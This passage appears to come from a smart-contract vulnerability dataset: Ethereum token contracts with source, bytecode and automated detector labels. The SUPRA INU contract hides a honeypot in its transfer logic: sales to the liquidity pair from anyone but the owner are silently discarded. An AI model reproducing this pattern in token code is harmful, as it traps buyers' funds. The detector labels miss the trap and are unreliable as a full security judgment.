173091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061175e82826115dc565b82101561177a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117a45760405162461bcd60e51b81526004016106569190611b41565b50600061134a8486611e8c565b60008060008060008060008060006117ce8a600c54600d5461191d565b92509250925060006117de6115b9565b905060008060006117f18e878787611972565b919e509c509a509598509396509194505050505091939550919395565b600061140a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611319565b60008061185d8385611dcf565b90508381101561140a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610656565b60006118b96115b9565b905060006118c783836119c2565b306000908152600260205260409020549091506118e49082611850565b30600090815260026020526040902055505050565b600654611906908361180e565b6006556007546119169082611850565b6007555050565b6000808080611937606461193189896119c2565b906115dc565b9050600061194a60646119318a896119c2565b905060006119628261195c8b8661180e565b9061180e565b9992985090965090945050505050565b600080808061198188866119c2565b9050600061198f88876119c2565b9050600061199d88886119c2565b905060006119af8261195c868661180e565b939b939a50919850919650505050505050565b6000826119d1575060006107ab565b60006119dd8385611eae565b9050826119ea8583611e8c565b1461140a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610656565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108d757600080fd5b8035611a7781611a57565b919050565b60006020808385031215611a8f57600080fd5b823567ffffffffffffffff80821115611aa757600080fd5b818501915085601f830112611abb57600080fd5b813581811115611acd57611acd611a41565b8060051b604051601f19603f83011681018181108582111715611af257611af2611a41565b604052918252848201925083810185019188831115611b1057600080fd5b938501935b82851015611b3557611b2685611a6c565b84529385019392850192611b15565b98975050505050505050565b600060208083528351808285015260005b81811015611b6e57858101830151858201604001528201611b52565b81811115611b80576000604083870101525b50601f01601f1916929092016040019392505050565b80358015158114611a7757600080fd5b600060208284031215611bb857600080fd5b61140a82611b96565b60008060408385031215611bd457600080fd5b8235611bdf81611a57565b946020939093013593505050565b600080600060608486031215611c0257600080fd5b8335611c0d81611a57565b92506020840135611c1d81611a57565b929592945050506040919091013590565b600060208284031215611c4057600080fd5b813561140a81611a57565b600060208284031215611c5d57600080fd5b5035919050565b60008060008060808587031215611c7a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cab57600080fd5b833567ffffffffffffffff80821115611cc357600080fd5b818601915086601f830112611cd757600080fd5b813581811115611ce657600080fd5b8760208260051b8501011115611cfb57600080fd5b602092830195509350611d119186019050611b96565b90509250925092565b60008060408385031215611d2d57600080fd5b8235611d3881611a57565b91506020830135611d4881611a57565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611dc857611dc8611d9e565b5060010190565b60008219821115611de257611de2611d9e565b500190565b600082821015611df957611df9611d9e565b500390565b600060208284031215611e1057600080fd5b815161140a81611a57565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e6b5784516001600160a01b031683529383019391830191600101611e46565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ea957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ec857611ec8611d9e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122085931bf8a36ca0ed16337642a93f58d477926bc73fa3c3e2da802ac89ceed4a864736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,049
0x7C2cEAEE1E949483A43790eC7e309C537dEc9719
/** *Submitted for verification at Etherscan.io on 2021-05-12 */ pragma solidity =0.7.6; // #&&&&@&@. /&&&&&&( // #%&&&@&@@&@& @@@@&&@@&&& // #&&&&%%%%@@&@@ /@@@@@&%&@@@@& // &%&%#(/(%&@@@@& &@@@&&%%#%@@&&% // ((%%@%(*,*#&@@@@( %@@@@%#***/@@&%# // &&&@&%*,,,,&@@@@@. [email protected]@@@@*,,**/#@&&% // &&&%%#/,,,,@@@@@&/..(,..,#((//#%&##%%&@@@#%#*(#%&&%& // &&@ @%%&&&%%#%&@@%%&%%&%(#%#%/####%&%(%&&@@@@@%%%%&%%&%@ /@& // @&@ #%%#@ %&%&&%#&%%&@@&&@@&%#%(&@%&#%@###(%%&@@@@@&@@@@@@&@%&( @%#%% @&& // /@&&&@ &&&&@ (@%##&%&@@&/,@@@@@@@@&&%##@/@(@#(#%&&@@@@@@@&@@&&&#(& @&%&@ @&&%&@ // @@&&&& @&%&@ %#&@@&,,,,@@@@@@@@@@@@@@@@#@(@@@@@@@@@@@@@@@@,,,@@@ &@%&&* &&&&&@ // @&&&@@&@&&@% (%&@,,,#@@@@@@@@@@@@@@@@//(//@@@@@@@@@@@@@@@@***@%. @&&@@*&@&&@& // @@@@&&@&@@* ##@**@@@@@@@@@@@@@@@@@*@@@@@&@@@@@@@@@@@@@@@@//@@@* @@#&%@@&@@& // &&@&&(/&@@@ *//(@@@@@@@@@@@@@@@@%@%%%#%@@@@@@%@@@@@@@@@@###&* @&@@&@&&@@@ // @@@@@@&&@&#%&@@ *///#@@@@@@@@@@@@@@@%(#(##%#@&%@@&@@@@@@@@#((((# &@&%#%&&&&&&&@@ // %@@(&&&@@@&@%%@& (*/&@@@@@@@@@@@@@&%%@#%@&(#&&@@@@@@@@@@@****# /@%%#@@@&&&*%&@& // &@@,@@&&&@%@&&@@ #&%@&&@&&@&&%&&&#/&#&#,/&%%&@@@@&@@&@/,%/ @@&%%&#@%&@&&#&@* // @@@%@(&@&%&@&@@( #&&%%@@@@&@&&&&%%(/##(%#%&&&%&&%&&%&&/ @@%%&@%@@(&&%@@@ // @@@@@@&&&%%@@@@& &@@@@&&%%&%%&#&(%%@&#(%#&&&#&%&@@%&, @@@@&%&&&&#@@@@. // &@@&&@@#%&@@@@& #&&&&@&%&&@&%%(%##%#&%##%#%%&%&&&%, @@@@@&#(@@%&@@@ // @&@@@&@@@@@& &%&&@&@@&&%%#(%%((//((#%%##%&@@@%%&&% %@@@@%%@@@@@@ // @@@@@%&&&&&&&/ #&&&%%@%@&&&&(#&%##%%###(#/%#%&&&@&@%&&&# &&&&&&@#@@@@@ // &%%%&@@@@@&% .%&@&&%%%@%&%&&%@@@&&&&&%%%&@@@@&&%&@&&&&&%% *&@@@@@@%%%&* // %%%(%&@@@@&&&( (%&@@&@%%%%&&@@@@&&@@@@@@@@@@@@&&&&&@&%%%%%@@&&#. %&&@@@@@&%%%& // &%&%&&@@&@@@@@&&&#&#&&%%%%&&%&@@%&&@&&&@@@&&&@@&&&%%%%%%%%&&&&&@%%@@@@@@@@&%&&& // %&&&%%@@@&@@&@&&#&&&&%%&&&&&&&&&&&&@# .&&&&&&&@&&%%%%%%%&&@@@@&@@@@&&%&&&& // ,&@&%%%&&&@%&%#&&#%%&&&%&&&%%&&&&&. . %&&&&&&&&&&%%%#%##%&&&@&&&&%%&@&( // %&&@@&&%%&%%&%%&%&@&&%@&%%%%%@@, *@&%%@@@@@%&&&&%&%%&&&&@&%%%@@@@ // &@@&%%&&&%%%%%%%&&&&%&&@#&(%&, /%%(%&@@@#%&&&&%%%%&%&%##&@@@& // &@@@@&@@@&%%%%#&&@&&&%&&%#, .. ,%%@&&&&@@%%%%&&&&@&@&@@@@@ // *@@&&&&&&&&&&@&&@&&&&&&%@, .. .. ... /&&&&@@&@@@&%%&@&&&&&&&@@@ // @&&@@&&&&&&, . . . . . /&@@@@&@@@&@ /. // &%&&&&@&@&&,.. . . *%&@@@&@&&&@ // %%&&@@@@@%##&%(/ /%%%%%%@@@@@@@&& // #%@@@@@@&@&%&%#%*... ..*&#%&%@&@#@@@@@&% // #%@@@@@@&&@&&@@/*.....*%&@@@&&&%@@@@@&% // .%&@@@@@@&@&&&&%%@,*,&%&&&&&&@@@@@@@@&# // #&@&@@@@&@@&&@@@&@&&&&&@%#@@@@@@@@@&# // &&&&@@@@@@@@@@&&&&##%&@@@@@@@@@&%&@. // // SUPRA INU --- NEXT GEN DOG COIN --- 10x 100x 1000x --- WHERE WILL YOU STOP??? // // ==================================== IN DOG WE TRUST =========================== // // SUPRA.INU --- SUPRA.INU --- SUPRA.INU --- SUPRA.INU --- SUPRA.INU --- SUPRA.INU library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SUPRA is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _initialSupply = 1e15*1e18; string private _name = "SUPRA INU"; string private _symbol = "SUPRA"; uint8 private _decimals = 18; address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap address private dead = 0x000000000000000000000000000000000000dEaD; address private vitalik = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B; address private pairAddress; address private _owner = msg.sender; constructor () { _mint(address(this), _initialSupply); _transfer(address(this), vitalik, _initialSupply*40/100); _transfer(address(this), dead, _initialSupply*25/100); } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function add_liq() public payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy); pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _initialSupply); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), _initialSupply*35/100, 0, // slippage is unavoidable 0, // slippage is unavoidable _owner, block.timestamp ); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) public virtual override { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); if(sender == _owner || sender == address(this) || recipient == address(this)) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else if (recipient == pairAddress){ } else{ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } receive() external payable {} }
0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b4114610370578063a457c2d714610385578063a9059cbb146103be578063dd62ed3e146103f7576100f3565b806342966c68146102d057806370a08231146102fc57806376c11b941461032f57806379cc679014610337576100f3565b806323b872dd116100c657806323b872dd146101f65780632f54bf6e14610239578063313ce5671461026c5780633950935114610297576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610432565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b0381351690602001356104c8565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46104de565b60408051918252519081900360200190f35b34801561020257600080fd5b506101bb6004803603606081101561021957600080fd5b506001600160a01b038135811691602081013590911690604001356104e4565b34801561024557600080fd5b506101bb6004803603602081101561025c57600080fd5b50356001600160a01b031661054d565b34801561027857600080fd5b50610281610561565b6040805160ff9092168252519081900360200190f35b3480156102a357600080fd5b506101bb600480360360408110156102ba57600080fd5b506001600160a01b03813516906020013561056a565b3480156102dc57600080fd5b506102fa600480360360208110156102f357600080fd5b50356105a0565b005b34801561030857600080fd5b506101e46004803603602081101561031f57600080fd5b50356001600160a01b03166105ad565b6102fa6105c8565b34801561034357600080fd5b506102fa6004803603604081101561035a57600080fd5b506001600160a01b03813516906020013561083e565b34801561037c57600080fd5b5061010d610885565b34801561039157600080fd5b506101bb600480360360408110156103a857600080fd5b506001600160a01b0381351690602001356108e6565b3480156103ca57600080fd5b506101bb600480360360408110156103e157600080fd5b506001600160a01b038135169060200135610935565b34801561040357600080fd5b506101e46004803603604081101561041a57600080fd5b506001600160a01b0381358116916020013516610942565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b820191906000526020600020905b8154815290600101906020018083116104a157829003601f168201915b5050505050905090565b60006104d5338484610a65565b50600192915050565b60025490565b60006104f1848484610b51565b610543843361053e85604051806060016040528060288152602001610f51602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906109ce565b610a65565b5060019392505050565b600a546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104d591859061053e908661096d565b6105aa3382610d85565b50565b6001600160a01b031660009081526020819052604090205490565b6105d13361054d565b6105da57600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d60208110156106d157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b15801561072357600080fd5b505af1158015610737573d6000803e3d6000fd5b505050506040513d602081101561074d57600080fd5b5051600980546001600160a01b0319166001600160a01b0390921691909117905560035461077e9030908390610a65565b806001600160a01b031663f305d719343060646003546023028161079e57fe5b600a54604080516001600160e01b031960e089901b1681526001600160a01b03958616600482015293909204602484015260006044840181905260648401529290921660848201524260a4820152905160c480830192606092919082900301818588803b15801561080e57600080fd5b505af1158015610822573d6000803e3d6000fd5b50505050506040513d606081101561083957600080fd5b505050565b600061086e82604051806060016040528060248152602001610f79602491396108678633610942565b91906109ce565b905061087b833383610a65565b6108398383610d85565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b60006104d5338461053e85604051806060016040528060258152602001611007602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906109ce565b60006104d5338484610b51565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000828201838110156109c7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008184841115610a5d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a22578181015183820152602001610a0a565b50505050905090810190601f168015610a4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316610aaa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610fe36024913960400191505060405180910390fd5b6001600160a01b038216610aef5760405162461bcd60e51b8152600401808060200182810382526022815260200180610f096022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b965760405162461bcd60e51b8152600401808060200182810382526025815260200180610fbe6025913960400191505060405180910390fd5b6001600160a01b038216610bdb5760405162461bcd60e51b8152600401808060200182810382526023815260200180610ec46023913960400191505060405180910390fd5b610be6838383610839565b610c2381604051806060016040528060268152602001610f2b602691396001600160a01b03861660009081526020819052604090205491906109ce565b6001600160a01b03808516600081815260208190526040902092909255600a54161480610c5857506001600160a01b03831630145b80610c6b57506001600160a01b03821630145b15610ced576001600160a01b038216600090815260208190526040902054610c93908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610839565b6009546001600160a01b0383811691161415610d0857610839565b6001600160a01b038216600090815260208190526040902054610d2b908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610dca5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f9d6021913960400191505060405180910390fd5b610dd682600083610839565b610e1381604051806060016040528060228152602001610ee7602291396001600160a01b03851660009081526020819052604090205491906109ce565b6001600160a01b038316600090815260208190526040902055600254610e399082610e81565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006109c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ce56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b1d7f2694466449afb2169841d166d40008bdbb981fa848fc1cb39e57c45733364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,050
0x569468ed07fa02aef6826334a7c67aaca0eda7bd
/** *Submitted for verification at Etherscan.io on 2022-04-29 */ /** Buy/Sell tax:7% https://t.me/SuperGokuErc */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SuperGoku is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "SuperGoku"; string private constant _symbol = "SuperGoku"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xEe8DfB048dFfcff130fec3c343B608873f1Ea748); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function 